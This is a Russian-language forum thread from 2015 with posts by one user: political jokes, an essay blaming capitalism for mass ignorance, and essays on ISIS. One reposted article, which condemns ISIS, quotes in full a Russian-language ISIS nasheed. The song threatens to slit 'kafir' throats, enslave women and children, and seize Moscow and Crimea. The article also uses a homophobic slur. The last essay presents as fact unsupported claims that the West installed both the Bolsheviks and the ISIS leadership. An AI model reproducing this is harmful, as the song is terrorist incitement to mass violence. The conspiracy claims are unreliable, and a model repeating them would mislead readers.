КОЛОНКА ПОЛИТИЧЕСКОГО ЮМОРА, На злобу дня)))
феминистка-сталинистка 17.11.2015 20:05:31
Сообщений: 208

ВАТНИК - это звучит гордо!
КОЛОНКА ПОЛИТИЧЕСКОГО ЮМОРА, На злобу дня)))
феминистка-сталинистка 17.11.2015 16:04:22
Сообщений: 208

ВАТНИК - это звучит гордо!
КОЛОНКА ПОЛИТИЧЕСКОГО ЮМОРА, На злобу дня)))
феминистка-сталинистка 16.11.2015 01:18:19
Сообщений: 208

ВАТНИК - это звучит гордо!
КОЛОНКА ПОЛИТИЧЕСКОГО ЮМОРА, На злобу дня)))
феминистка-сталинистка 16.11.2015 01:09:31
Сообщений: 208

1 0

Изменено: феминистка-сталинистка - 16.11.2015 01:12:25

ВАТНИК - это звучит гордо!
КОЛОНКА ПОЛИТИЧЕСКОГО ЮМОРА, На злобу дня)))
феминистка-сталинистка 15.11.2015 16:48:37
Сообщений: 208
...
Изменено: феминистка-сталинистка - 15.11.2015 17:14:06

ВАТНИК - это звучит гордо!
КОЛОНКА ПОЛИТИЧЕСКОГО ЮМОРА, На злобу дня)))
феминистка-сталинистка 10.11.2015 23:21:53
Сообщений: 208

ВАТНИК - это звучит гордо!
КОЛОНКА ПОЛИТИЧЕСКОГО ЮМОРА, На злобу дня)))
феминистка-сталинистка 02.06.2015 15:14:09
Сообщений: 208
Одесский пляж летом 2015 года:
- Чурчхела! Холодное пиво! Горячие галстуки!
***
Пушкин как-то написал про одесского губернатора:
Полуподлец, но есть надежда
что будет полный наконец!

Предсказание гения сбылось два столетия спустя.
***
Президент ФИФА Йозеф Блаттер объявил, что не будет переносить Чемпионат мира 2018 из России в другую страну, так как нет никаких гарантий, что к 2018 году эта страна не станет частью России.

ВАТНИК - это звучит гордо!
КОЛОНКА ПОЛИТИЧЕСКОГО ЮМОРА, На злобу дня)))
феминистка-сталинистка 31.05.2015 17:04:41
Сообщений: 208
Порошенко посадил Мишико на диету! Ведь в качестве властителя Одессы ему придётся носить вышиванку, а к ней галстуков не надевают!
***
Ты одессит, Мишико...

ВАТНИК - это звучит гордо!
Статьи в СМИ., Всё, что достойно обсуждения.
феминистка-сталинистка 14.11.2015 18:55:29
Сообщений: 208
"Скоро, очень скоро кровь польется морем". Халифат запел по-русски

Совсем недавно "Исламское государство" заговорило на иврите и обратилось на языке Торы с посланием к израильтянам. Мы привели по этой ссылке полный текст послания, которое было в прозе. И вот сегодня "Исламское государство" обратилось к россиянам на языке Пушкина и Маяковского в стихах.

Ролик с обращением, как это принято в наши дни, был оперативно удален со всех публичных площадок. Его остатки можно увидеть в основном на англоязычных сайтах (примеры - один, два).

Поспешили порадоваться исламистскому мессиджу и наши украинские друзья, поэтому на многих украинских сайтах мы видим фрагменты текста послания (пример), однако полного текста нет и там.

Но рукописи, как известно, не горят, и нашид с полным текстом послания гуляет по Всемирной Сети, где его мне и удалось найти и прослушать.

Я считаю, что политика по удалению подобных посланий из открытого доступа в корне ошибочна - это должен видеть, слышать и читать каждый. С п...дарасами, сочиняющими такие тексты, стоит общаться исключительно на том языке, на котором запорожские казаки в свое время общались с турецким султаном, но для того, чтобы общаться с ними на этом языке, надо вначале ознакомиться с текстами их посланий.

Почему это важно? Либеральная интеллигенция, российская и диаспоральная русскоязычная, после катастрофы российского самолета в небе над Синаем, повинуясь своему врожденному павловско-стокгольмскому рефлексу, дружно расплакалась: "Ну вот, вы видите, не надо было лезть в Сирию", "Что там делают наши мальчики" и так далее, хотя я уверен, что если в Сирии и погибли российские военнослужащие, среди них не было ни одного сына либеральных интеллигентов. Так вот, пусть эта интеллигенция прочитает послание, адресованное в том числе и ей, и либо поймет, как она глубоко неправа, либо заранее самоубьется от страха. В любом случае воздух после этого станет чище. А те, кто не принадлежит к маленькой, скромной и теплой компании либеральных интеллигентов, поймут, что чем больше друзей автора публикуемого ниже послания будет удохлено сейчас в Сирии, тем меньше вероятность того, что сами члены этой компании погибнут в результате теракта в собственной стране.

О тексте послания (филологические наблюдения). Он очень похож по стилю на некоторые произведения барда Тимура Муцураева, чье творчество гремело в начале 2000-х годов. Кто не слышал его песню "Иерусалим", послушайте. Поэты - выходцы из этой среды обычно очень небрежны стилистически и синтаксически (пример из того же Муцураева - "И принял взвод атаку, смерти душ, их не спасли ни пушки, ни бравада"). Однако эта небрежность с лихвой компенсируется мощным пассионарным зарядом. То же самое касается и послания Халифата к россиянам - его автором почти наверняка является выходец с северного Кавказа, изучавший язык Пушкина в средней школе и воюющий сейчас в Сирии.

Итак, текст:

Скоро, очень скоро кровь польется морем,
Кафирские глотки дрогнут от ножей.
Уммы львы проснулись, и мечи взмахнули,
Делая общину с каждым днем сильней.

Воины Аллаха не познают страха,
Ведь единобожье выбрал им Аллах.
Мы сметаем идол креста у Тиджира,
Водружаем знамя черное в сердцах.

Скоро, очень скоро кровь польется морем,
Кафирские глотки дрогнут от ножей.
Уммы львы проснулись, и мечи взмахнули,
Делая общину с каждым днем смелей.

Слушай, кафир мерзкий, вовсе ты не дерзкий,
И твой звонкий гонор в голосе угас.
Халифат построен, и возьмем мы боем
Ваши страны – очень привлекают нас.

Скоро, очень скоро кровь польется морем,
Кафирские глотки дрогнут от ножей.
Уммы львы проснулись, и мечи взмахнули,
Делая общину с каждым днем смелей.

Ваших жен возьмем мы в качестве наложниц,
Из детей мы ваших сделаем рабов.
Ваши все богатства не спасут от рабства
Перед Уммой храбрых, доблестных сынов.

Скоро, очень скоро кровь польется морем,
Кафирские глотки дрогнут от ножей.
Уммы львы проснулись, и мечи взмахнули,
Делая общину с каждым днем смелей.

Мы с резней пришли к вам, смерти бросив вызов.
В дулах ваших ружей мы узрели рай.
Снайперы готовы, и с позиций снова
Держат под прицелом ваш беспечный край.

Скоро, очень скоро кровь польется морем,
Кафирские глотки дрогнут от ножей.
Уммы львы проснулись, и мечи взмахнули,
Делая общину с каждым днем смелей.

Мы вернем все земли – этому не внемлет
Только глупый или человек слепой.
И Европа дрогнет, и Россия сдохнет.
Мы накроем всех вас гибельной волной.

Скоро, очень скоро кровь польется морем,
Кафирские глотки дрогнут от ножей.
Уммы львы проснулись, и мечи взмахнули,
Делая общину с каждым днем смелей.

И Кавказ вернем мы, править силам темным
Не оставим боле, будет нашим Крым.
И Урал вернется, кафир затрясется.
В Татарстане править шариат хотим.

Скоро, очень скоро кровь польется морем,
Кафирские глотки дрогнут от ножей.
Уммы львы проснулись, и мечи взмахнули,
Делая общину с каждым днем смелей.

Скоро, очень скоро и российский город
Сотрясут такфиры – это же Москва.
Дорожит кто жизнью, будет платить джизью,
Коль ислам не нужен – наши вот слова.

Скоро, очень скоро кровь польется морем,
Кафирские глотки дрогнут от ножей.
Уммы львы проснулись, и мечи взмахнули,
Делая общину с каждым днем смелей.

В вашем же мы доме в угол вас загоним,
Не дадим вам выйти, сеять свой разврат.
Жить лишь в униженьи будете отныне,
На том свете ждет вас лишь кипящий ад.

Скоро, очень скоро кровь польется морем,
Кафирские глотки дрогнут от ножей.
Уммы львы проснулись, и мечи взмахнули.
Халифат вернулся, станем мы сильней.


http://il24.ru/world/1612-skoro-ochen-skoro-krov-poletsya-morem-halifat-zapel-po-russki.html
Изменено: феминистка-сталинистка - 14.11.2015 18:57:07

ВАТНИК - это звучит гордо!
Статьи в СМИ., Всё, что достойно обсуждения.
феминистка-сталинистка 12.11.2015 22:23:18
Сообщений: 208

1 0

Главный ресурс современного капитализма - дебилы



Меня пригласили на конференцию на экономическом факультете МГУ, в рамках ломоносовских торжеств. Разговор пойдёт об интеллекте – интеллектуальной экономике, интеллекте как факторе развития, экономике знаний и т.п. Эта тема мне очень близка. Вот о чём я скажу на этом чрезвычайно интеллектуальном собрании.

НЕВЕЖЕСТВО И МРАКОБЕСИЕ – МОТОР СОВРЕМЕННОГО РАЗВИТИЯ

Профессор Катасонов рассказал в ЛГ. Он любит задавать студентам такой вопрос: «Что является главным ресурсом современной экономики?» Ответы разные: нефть, деньги, знания. И всё мимо. «Главный ресурс современной экономики, — торжественно возглашает профессор, — это дурак. Ему можно впарить всё». Смех в зале.
Забавно, правда? А на самом деле это не шутка, а, как говаривал Остап Бендер, «медицинский факт». Мотором современного развития являются невежество и мракобесие.

«ОСТАНОВИМ ЕЁ И РАССПРОСИМ: «КАК ДОШЛА ТЫ ДО ЖИЗНИ ТАКОЙ?»

Человечество достигло максимума своей научно-технической мощи в 60-е годы ХХ века. После этого ничего радикального в науке и технике не произошло. Движущей силой этого развития была ракетно-ядерная гонка. Символом и апофеозом научно-технической мощи был выход человека в Космос.

В это время научная профессия была самой модной и престижной, бородатые физики были героями книг и фильмов, их любили девушки, им подражали «юноши, обдумывающие житьё». Я помню, насколько был моден Космос в моё детство – в 60-е годы. Мы знали на память всех космонавтов, я, помнится, выпускала стенгазету с заголовком, которым очень гордилась: «Новая веха космической эры – радиограмма с далёкой Венеры».

Был огромный спрос на инженеров-физиков, математиков. Именно физик был в те времена современной версией «добро молодца». Каждая эпоха порождает свою версию героя нашего времени – так вот тогда это был учёный–физик. Лучшие, умнейшие поступали матшколы, а потом в какой-нибудь МИФИ или МФТИ. Очевидно: чтобы один стал мировым чемпионом, тысячи должны начать играть в футбол в дворовой команде. Точно так и чтобы один совершил мировое открытие, мириады должны выйти на старт: прилично учить физику-математику, морщить лоб над задачкой из журнала «Квант», стремиться к победе в районной олимпиаде. И все эти занятия должны быть модными, уважаемыми, престижными. Так тогда и было. Быть умным считалось модно. В моё детство был альманах «Хочу всё знать!» — там писали по большей части о науке и технике. И дети в самом деле хотели это знать.

Уже в 70-е годы словно закончилось горючее в ракете и она вышла на баллистическую орбиту. Всё шло вроде по-прежнему, но шло по инерции, душа мира ушла из этой сферы жизни. Напряжение ракетно-ядерной гонки начало сходить на нет. Постепенно ядерные сверхдержавы перестали взаправду бояться друг друга и ожидать друг от друга ядерного удара. Страх стал скорее ритуальным: советской угрозой пугали избирателей и конгрессменов в Америке, а «происками империализма» — в СССР. То есть гонка вооружений продолжалась: большое дело вообще обладает колоссальной инерцией, просто так его не остановишь: вон у нас советская жизнь до сих пор не до конца развалилась. (Я имею в виду и техническую инфраструктуру, и броделевские «стркутуры повседневности»).

Гонка вооружений продолжалась, но такого, чтоб министр обороны США выбросился из окна с криком: «Русские идут!» — такого уже быть не могло. Гонка вооружений со временем утратила свою пассионарность, стала делом не боевым, а всё больше бюрократическим.

Научно-технические требования правительств к своим научным сообществам понижались. Политическое руководство уже не говорило учёным, как тов. Берия тов.Королёву, сидя в укрытии на атомном полигоне: «Если эта штука не взорвётся, я тебе голову оторву!».

Соответственно и научная профессия, оставаясь по-прежнему престижной, всё более и более становилась просто одной из профессий, не более того.

Из анналов истории нашей семьи. Отец и дядя моего мужа на рубеже в начале 50-х годов поступили в институты: мой свёкор в Бауманский, а его брат – в МГИМО. Так вот тот, кто поступил в Бауманский, считался в своём окружении более удачливым и. так сказать, крутым, чем тот, кто поступил в МГИМО. Уже в моё время, в 70-х годах, шкала престижа изменилась на обратную.

Проявлением этого нового духа оказалась знаменитая Разрядка напряжённости, под знаком которой прошли 70-е годы. Всерьёз в военную угрозу никто не верил, не строил бункеры в огороде, не запасался противогазами. Тогда восторженные певцы Разрядки говорили, что это – истинное окончание Второй мировой войны, истинный переход к миру. Вполне возможно, в духовном, психологическом смысле именно так и было.

Соответственно и мода на науку, на естественно-техническое знание, на научный образ мышления – постепенно сходила на нет. Наука ведь не способна развиваться на собственной основе, из себя. Задачи ей всегда ставятся извне. В подавляющем большинстве случаев это задачи совершенствования военной техники. Из себя научное сообщество способно породить только то, что называется «удовлетворением собственного любопытства за казённый счёт».

В 60-70-е годы научный способ мышления (т.е. вера в познаваемость мира, в эксперимент и логическую его интерпретацию) всё больше уступала месту разного рода эзотерическим знаниям, мистике, восточным учениям. Рационализм и свойственный науке позитивизм стал активно расшатываться. В Советском Союзе это официально не дозволялось, что только подогревало интерес. Великий бытописатель советского общества Юрий Трифонов запечатлел этот переход в своих «городских» повестях. Инженеры, научные работники – герои его повестей — вдруг дружно впадают в мистику, эзотерику, организуют спиритические сеансы. На Западе в это же время распространилась мода на буддизм, йогу и т.п. учения, далёкие от рационализма и научного подхода к действительности.

Это было одной и предпосылок того, что произошло дальше. Были и другие мощные предпосылки.

«ЖИТЬ СТАЛО ЛУЧШЕ, ЖИТЬ СТАЛО ВЕСЕЛЕЙ»

Примерно в 60-е годы прогрессивное человечество настигла своеобразная напасть.

Примерно в 60-70-е годы в ведущих капиталистических странах случилось то, чего не оно, человечество, не знало с момента изгнания из рая. То, что об этом никто не трубил и не трубит, лишний раз подтверждает неоспоримое: и в своей маленькой жизни, и в общей жизни человечества люди отцеживают пустяки, а большое и главное – даже не замечают. Так что же такое случилось?

Случилось страшное.

Базовые бытовые потребности подавляющего большинства обывателей оказались удовлетворенными.

Что значит: базовые? Это значит: естественные и разумные. Потребности в достаточной и здоровой пище, в нормальной и даже не лишённой определённой красоты одежде по сезону, в достаточно просторном и гигиеничном жилье. У семьи завелись автомобили, бытовая техника.

Ещё в 50-е и в 60-е годы это было американской мечтой – мечтой в смысле доступным далеко не всем. В Англии 50-х годов даже родилось такое слово subtopia – склеенное из двух слов «suburb» (пригород) и «utopia»: мечта о собственном домике в пригороде, оснащённым всеми современными удобствами.

Пару лет назад назад блогер Divov разместил в своём журнале интересный материал на эту тему. Это перевод фрагмента воспоминаний о жизни в Англии, в провинциальном шахтёрском городке рубежа 50-х и 60-х годов. Так вот там на весь городок была одна (!!!) ванная, «удобства» у всех жителей были на дворе, содержимое ночных горшков к утру покрывалось льдом, мама стирала в корыте, фрукты покупались только когда кто-то заболевал, а цветы – когда умирал.

Так вот достаточный житейский комфорт и обеспеченность стали доступны примерно двум третям населения в конце 60-х – начале 70-х годов. С напряжением, с изворотами, но – доступны. Речь, разумеется, идёт о «золотом миллиарде».

Прежде этого не было никогда в истории и нигде в мире! До этого нормой жизни простолюдинов была бедность. И повседневная напряжённая борьба за кусок хлеба. Так было во всех – подчёркиваю: всех! – странах мира. Перечитайте под этим углом зрения реалистическую литературу от Гюго и Диккенса до Ремарка и Драйзера, почитайте «Римские рассказы» 50-х годов итальянского писателя Альберто Моравиа – и вам всё станет ясно.

И вот всё дивно изменилось. Нормальный, средний работающий обыватель получил сносное жильё, оснащённое современными удобствами и бытовой техникой, он стал прилично питаться, стал покупать новую одежду.

Мне доводилось беседовать с пожилыми европейцами, которые помнят этот тектонический сдвиг, этот эпохальный переход, этот … даже и не знаю, как его назвать, до того он эпохальный. Помню, один итальянец рассказывал, как после войны у него была мечта: съесть большую тарелку щедро сдобренных сливочным маслом макарон. А в на излёте 60-х годов он вдруг обнаружил, что «non mi manca niente» — дословно «у меня ничего не отсутствует». А это ужасно! Что же получается? Человек отодвигает тарелку и говорит: «Спасибо, я сыт»? Что же дальше?

Иными словами, модель развития, основанная на удовлетворении нормальных потребностей на заработанные людьми деньги, исчерпала себя. У людей не было и не предвиделось ни роста наличных денег, ни роста потребностей. Бизнес мог расти только с ростом населения, которое тоже как назло прекратило рост в развитых странах.

Достоевский в «Подростке» пророчил. Наестся человек и спросит: а что же дальше? Смысл ему жизни подавай. Или иные какие цели.
Но в реальности спросил не человек. Его опередили. Опередил глобальный бизнес. Он первый спросил «Что дальше?» и первый нашёл ответ.

Капитализм не может существовать без экспансии. Глобальному бизнесу нужны новые и новые рынки сбыта. И эти рынки были найдены. Они были найдены не за морями (там уже было к тому времени нечего ловить), а В ДУШАХ ЛЮДЕЙ.

Капитализм начал уже не удовлетворять, а создавать всё новые, и новые потребности. И триумфально их удовлетворять. Так, операторами сотовой связи создана потребность непрерывно болтать по телефону, фармацевтическими корпорациями – потребность постоянно глотать таблетки, фабрикантами одежды – менять её чуть не каждый день и уж во всяком случае – каждый сезон.

Можно также создавать новые опасности – и защищать от них с помощью соответствующих товаров. Защищают от всего: от перхоти, от микробов в унитазе, от излучения сотового телефона. Как маркетолог могу сказать, что на российском рынке лучше всего идёт модель «бегство от опасности».

На первый план вышел маркетинг. Что такое маркетинг? В сущности, это учение о том, как впендюрить ненужное. То есть как сделать так, чтобы ненужное показалось нужным и его купили. Почему маркетинга не было раньше, в ХIХ, положим, веке? Да потому, что нужды в нём не было. Тогда производились нужные товары и удовлетворялись реальные потребности. А когда нужно стало выдумывать потребности ложные – вот тогда и понадобился маркетинг. Такова же роль тотальной рекламы.

Маркетологи испытывают профессиональную гордость: мы не удовлетворяем потребности – мы их создаём. Это в самом деле так.

Для того чтобы люди покупали что попало, разумные доводы отменили. Поскольку речь идёт о навязанных и ложных потребностях – рационально обсуждать их опасно. Очень легко может оказаться, что они – ложные, а то, о чём, говорят, не существует в природе и вообще не может существовать в силу законов приоды. Навязывание потребностей происходит строго на эмоциональном уровне. Реклама апеллирует к эмоциям – это более низкий пласт психики, чем разум. Ниже эмоций – только инстинкты. Сегодня реклама всё больше апеллирует прямо к ним.

Для того, чтобы процесс шёл бодрее, необходимо устранить препятствие в виде рационального сознания, привычек критического мышления и научных знаний, распространённых в массах. Очень хорошо, что эти привычки и знания стали расшатываться ещё на предыдущем этапе. Всё это мешает глобальной экспансии капитализма! Это мешает продавать горы ненужных и пустых вещей.

Вообще, включать критическое и рациональное мышление сегодня – не требуется. Это не модно, не современно, не trendy. С.Г. Кара-Мурза постоянно говорит о манипуляции сознанием (собственно, одноимённая книжка и принесла ему известность). Это не совсем так. Глобальный капитализм замахивается на задачу более амбициозную, чем манипуляция сознанием. Манипуляция сознанием – это всё-таки точечное жульничество, разовая подтасовка. А сейчас речь идёт о глобальном формировании идеального потребителя, полностью лишённого рационального сознания и научных знаний о мире. Известный философ Александр Зиновьев верно сказал, что идеальный потребитель – это что-то вроде трубы, в которую с одного конца закачиваются товары, а из другого они со свистом вылетают на свалку.

Кто такой идеальный потребитель? Это абсолютно невежественный, жизнерадостный придурок, живущий элементарными эмоциями и жаждой новизны. Можно сказать, не придурок, а деликатнее – шестилетний ребёнок. Но если в тридцать лет у тебя психика шестилетнего – ты всё рано придурок, как ни деликатничай. У него гладкая, не обезображенная лишними мыслями физиономия, обритая бритвой «жилет», белозубая улыбка, обработанная соответствующей зубной пастой. Он бодр, позитивен, динамичен и всегда готов. Потреблять. Что именно? Что скажут – то и будет. На то он и идеальный потребитель. Он не будет ныть: «А не что мне новый айфон, когда я старый-то не освоил? И вообще мне это не надо». Ему должно быть надо – всё. Схватив новую игрушку, он должен немедленно бросать прежнюю.

Он должен постоянно перекусывать, испытывая «райское наслаждение» и при этом героически бороться с лишним весом. И при этом не замечать идиотизма своего поведения. Он должен постоянно болтать по телефону, и при этом исступлённо экономить на услугах сотовой связи. Он должен (это уже скорее – она) непрерывно защищать своих близких от микробов, что вообще-то совершенно не требуется и даже вредно. И главное, он должен верить – верить всему, что ему скажут, не требуя доказательств.

Вообще, самый феномен рационального доказательства, который когда-то был большим достижением античной цивилизации и с тех пор неразрывен с мыслящим человечеством, на глазах угасает и грозит исчезнуть. Люди уже не испытывают в нём потребности.

СМИ – ВИРТУАЛЬНЫЙ «ОСТРОВ ДУРАКОВ»

Для воспитания позитивного гедониста – идеального потребителя, который непрерывно радует себя покупками, обжирается и при этом активно худеет, не замечая нелепости своего поведения, необходима повседневная целенаправленная работа по оболваниванию масс.
Главнейшую роль в этом деле играет телевидение как наиболее потребляемое СМИ, но этим дело не ограничивается.
Потребление не сказать «духовного», но скажем: «виртуального» продукта должно тоже непрестанно радовать или, во всяком случае, не огорчать затруднительностью, непонятностью, сложностью. Всё должно быть радостно и позитивно. Любая информация о чём угодно должна низводить всё до уровня элементарной жвачки. Например, любые великие люди должны представать как объект кухонных пересудов, как такие же простые и глуповатые, как сами зрители, и даже не сами зрители, а как те идеальные потребители, которых из зрителей планируется вырастить.
Ни о чём потребитель не должен сказать: «Этого я не понимаю» или «В этом я не разбираюсь». Это было бы огорчительно и не позитивно.

Когда-то М.Горький писал, что есть два типа подхода к созданию литературы и прессы для народа. Буржуазный подход – это стараться опустить тексты до уровня читателя, а второй подход, советский, – поднять читателя до уровня литературы. Советские писатели и журналисты, — считал Горький, — должны поднимать читателя до уровня понимания настоящей литературы и вообще серьёзных текстов. Современные СМИ не опускаются до наличного уровня читателя – они активно тянут этого читателя вниз.

Всё шире распространяются книжки-картинки, но не для трёхлетних, как это было всегда, а для взрослых. Например, удачное издание этого типа – последний период новейшей истории СССР и России в картинках от телеведущего Парфенова.

В сущности, современные СМИ – это виртуальный Остров Дураков, блистательно описанный Н.Носовым в «Незнайке на Луне». Мне кажется, что в этой сатире автор поднимается до свифтовской высоты. Речь в этом замечательном тексте идёт, кто забыл, вот о чём. На некий остров свозят бездомных бродяг. Там их непрерывно развлекают, показывают детективы и мультики, катают на каруселях и др. аттракционах. После некоторого времени пребывания там, надышавшись отравленным воздухом этого острова, нормальные коротышки превращаются в баранов, которых стригут, получая доход от продажи шерсти.

Наши СМИ исправно поставляют заказчикам баранов для стрижки.

Заказчики в узком смысле – это рекламодатели, а заказчики в широком смысле – это глобальный бизнес, для которого необходимы достаточные контингенты потребителей. Как советская пресса имела целью коммунистическое воспитание трудящихся, точно так сегодняшние СМИ имеют целью воспитание идеальных потребителей. Только совершенно оболваненные граждане способны считать целью жизни непрерывную смену телефонов или непрерывную трату денег на радующие глаз пустяки. А раз это так – граждан нужно привести в надлежащий вид, т.е. оболванивать.

Оболванивание начинается со школы, с детских журналов с комиксами, которые купить можно везде, в то время как более разумные журналы распространяются только по подписке и нигде не рекламируются. Я сама с удивлением узнала, что издаются газеты и журналы нашего детства «Пионерская правда», «Пионер». Но они нигде не проявляют себя, школьники о них не знают, это что-то вроде подпольной газеты «Искра». Этих изданий (качество которых тоже не идеально, но вполне сносно) нет ни в школьных библиотеках, ни в киосках, их вообще нет в обиходе. В результате большинство детей читают только фэнтези, что готовит их к восприятию гламурной прессы, дамских и детективных романов и т.п.

Результатом такой целенаправленной политики является невозможность и немыслимость никакой серьёзной дискуссии в СМИ, вообще никакого серьёзного обсуждения чего бы то ни было. Даже если бы кто-то такое обсуждение и затеял, оно бы просто не было никем понято и поддержано. Американские специалисты установили, что нормальный взрослый американец-телезритель не способен воспринимать и отслеживать последовательное развёртывание какой-либо темы долее трёх минут; дальше он теряет нить разговора и отвлекается. Относительно нашей аудитории данных нет. Сделаем лестное для нашего патриотического чувства предположение, что наши в два раза умней. Тогда они могут слушать не три минуты, а, например, шесть. Ну и что? О каком серьёзном обсуждении может вообще идти речь?

Характерно, что даже люди с формально высоким уровнем образования (т.е. имеющие дипломы) не ощущают необходимости в рациональных доказательствах какого бы то ни было утверждения. Им не требуются ни факты, ни логика, достаточно шаманских выкриков, вроде получившего в последнее время широкое хождение универсального способа аргументации: «Это так!»

На своих занятиях с продавцами прямых продаж (практически все с высшим образованием, полученным ещё в советское время – учителя, инженеры, экономисты, врачи) я многократно убеждалась: людям не нужна аргументация. Она только занимает время и попусту утяжеляет выступление. Аргументированное выступление воспринимается как нудное. «Вы скажите, как оно есть, и дело с концом». Гораздо лучше всяких аргументов воспринимается то, что Руссо называл «эмоциональными выкриками» и приписывал доисторическим дикарям.

Привычка созерцать любимых телеведущих формирует представление (возможно, неосознанное): главное не что говорится, а главное – кто говорит. Если говорит человек уважаемый, любимый, симпатичный – всё принимается за истину, «пипл схавает». Люди испытывают потребность видеть «говорящую голову» на телеэкране, восприятие даже простого текста в печатном виде очень трудно. Недаром многие мои слушатели охотно приобретают видеозаписи моих выступлений, хотя гораздо проще (с точки зрения традиционной) их прочитать.

ЧЕМУ УЧАТ В ШКОЛЕ?

В простоте своей министр Фурсенко проболтался: цель образование – воспитание культурного потребителя. И современная школа – средняя и высшая – постепенно подтягивается к данной задаче. Не сразу, но подтягивается.

Чему сейчас учат? Как себя вести в социуме, как вписаться в коллектив, как сделать видеопрезентацию или написать CV. А физика с химией – это нудьга, совок, прошлый век.
Не так давно на шоссе Энтузиастов висел билборд, изображающий симпатичную «молекулу серебра», содержащуюся уж не помню в чём – кажется, в –дезодоранте-антиперспиранте. Идиотизм этой рекламы среди трудящихся моей компании заметила только одна пожилая женщина – инженер-химик по дореволюционной профессии. Потом билборд сняли.

Знать, в смысле держать в голове, – учат нас – ничего не надо. Всё можно посмотреть в Яндексе. Это очень продуктивная точка зрения. Если человек ничего не знает, то ему можно впарить всё. А пустая голова очень хороша для закачивания в неё подробностей тарифных планов или свойств разных сортов туалетной бумаги.

В этом деле достигнуты огромные успехи. Мне иногда приходится беседовать с молодыми людьми, поступающими к нам на работу. Они прилично держатся, опрятно выглядят, имеют некоторые навыки селф-промоушена и при этом являются совершенными дикарями: не имеют представления ни об истории, ни о географии, ни о базовых законах природы. Так, у нас работала учительница истории по образованию, не знающая, кто такие большевики.

Чего голову-то забивать? Знать надо совершенно другое. Как-то раз я прошла в интернете тест на знание разных модных штучек, свойственных, по мнению устроителей, образу жизни среднего класса. Тест я позорно провалила, ответ пришёл такой: даже странно, что у вас есть компьютер и интернетом, чтобы пройти этот тест.

Вот именно на формирование такого рода знатоков и рассчитаны современные учебные заведения и современные образовательные технологии.

Мракобесие и невежество – это последнее прибежище современного капитализма. Это не просто некий дефект современного общества – это его важнейший компонент. Без этого современный рынок существовать не может.

Логичный вопрос: кто же в таком случае будет создавать новые товары для «впарки» идеальным потребителям? И кто будет вести человеческое стадо, кто будет пастухами? Очевидно – идеальные потребители для этой цели не годятся. В современных США сегодня эту роль играют выходцы из стран третьего мира, из бывшего СССР. Что будет дальше – трудно сказать. Современный капитализм, вообще современная западная цивилизация не смотрит вперёд, ей главное – сегодняшняя экспансия. И она достигается посредством тотальной дебилизации населения. Потому что это – сегодня главный ресурс.

domestic-lynx.livejournal.com
Изменено: феминистка-сталинистка - 12.11.2015 22:32:08

ВАТНИК - это звучит гордо!
Статьи в СМИ., Всё, что достойно обсуждения.
феминистка-сталинистка 10.11.2015 23:14:57
Сообщений: 208
Антисистема ИГИЛ как вызов человечеству



По поводу обвинения Карауловой и ликвидации игиловца в Нальчике. Небходимо давать себе откровенно отчёт вот в чём. ИГИЛ - это не просто очередные террористы, но разрушительный вирус, запущенная в мир, детально разработанная антисистема, призванная унитожать неугодные государства и целые континенты под предлогом борьбы со злом. ИГИЛ касается не только мусульман и арабов, хоть и действует преимущественно через них.

ИГИЛ предлагает идеал - и не где-то в небесах или в будущем, а здесь и сейчас. Рай на земле, созданный пулемётами и жестокостями. Тотальное и зверское разрушение старого есть необходимый залог установления эдема, должного появиться на очищенном месте. При этом игиловский проект вполне реальный и земной, геополитический. Он способен захватывать и удерживать территории, даже под военным давлением (это сейчас хорошо видно, и необходимо признать - перед нами не ваххабитский сброд, а серьёзная структура).

По своему механизму и масштабу игиловский халифат - это новый марксизм-большевизм. Но выраженный не научным языком, а религиозным, что гораздо сильнее по влиянию на души. Совершая подмену и выдавая себя за силы света, они предлагают столь же простой, удобный и ещё более быстрый путь ликвидации зла. Подчеркну, похожи не коммунистическое учение и игиловский салафизм как таковые, по сути, а механизм внедрения масштабной ложной идеи, которая захватывает целиком миллионы душ, предлагает им достижения всеобщего благоденствия и требует уничтожения всего существующего, как испорченного и злого.

Как и марксизм, игиловский халифат внедрён извне Западом. Почти всё руководство большевиков, сделавших революцию в России и желавших бросить её на костёр мировой революции, приехали из западных стран и были выпестованы западными спецслужбами, профинансированы западным капиталом. Нынешние лидеры террористов ИГИЛ и других группировок назначены Западом и либо жили там, либо сидели в тюрьмах, после чего были отпущены или "сбежали". Аль-Багдади встречался с Маккейном, а другие главари были отпущены из американских тюрем в Ираке. Огромная сеть вербовщиков действует в Европе и имеет европейские паспорта, и всё это под прикрытием спецслужб.

Но главное всё же не это, а то, как психологически и духовно игиловский халифат проникает в души и умы молодых людей по всему миру. Мир ещё содрогнётся, когда обнаружит, сколько их последователей появилось в ныне мирных городах - обычные и даже милые мальчики и девочки, которые вдруг станут головорезами. Говорю это не для того, чтобы напугать, но чтобы понимать всю опасность. То, что сейчас делает Россия в Сирии, уничтожая действующих террористов - это важно и полезно, но является только борьбой со следствиями, гораздо важнее бороться за души террористов потенциальных.

Чем же привлекает ИГИЛ? Как ни странно, ясностью и правильностью идей о спасении мира, который катится в бездну. Тот мировоззренческий тупик, в который загнал Запад человечество, навязав ему свою деградационную модель (называемую прогрессом), породил огромное количество разочарованных молодых людей по всему миру, которые не верят ни во что, но хотят верить в светлое и прекрасное. Они страдают от смысловой пустоты и готовы пойти за любым, кто даст им веру. Собственно, это и есть почва для антихриста - толпа, разочаровавшаяся в явлении Христа.

ИГИЛ - это злокачественная опухоль, занимающая пустоты в больном огранизме человечества. Они говорят человеку - смотри, какой гнилой и лживый мир вокруг тебя, всё продается и предаётся, ничего святого. Аллах бросил этих людей, и они обречены на гниение. Приди к Аллаху, делай, что он велел и ты спасёшься здесь и сейчас, вместе со своими братьями. Игиловские вербовщики и агитаторы вовсе не принуждают сразу свою жертву к массовым жестоким убийствам, это проходит как бы вскользь, но отвращение к существующему миру и образ идеального мира подводят их к тому, что окружающих людей они воспринимают исключительно как заблудших и обречённых.

Вообще, полный отказ от современной цивилизации - это чуть ли не самый сильный посыл, причём для многих представителей этой цивилизации. Отрицая двуличие, свободу разврата, ложную толератность, тотальную коррупцию и потреблядство Запада, ИГИЛ обещает торжество добра во всём - в том числе и в бытовых вещах, говоря о справедливом распределении благ, бесплатной еде и жилье, шариате, справедливо наказывающем злодеев и преступников. О честности, искренности и доверии между своими. Вор и хулитель Бога - это неприемлемое для халифата явление, за это казнят. Поверившие игиловцам обретают смысл жизни и готовность жертвовать собой. Их глаза горят радостью и верой в то, что с ними Бог, и пусть это ложный фанатизм, но он позволяет одерживать разгромные победы, к примеру, безвольную и разочаровавшуюся иракскую армию.

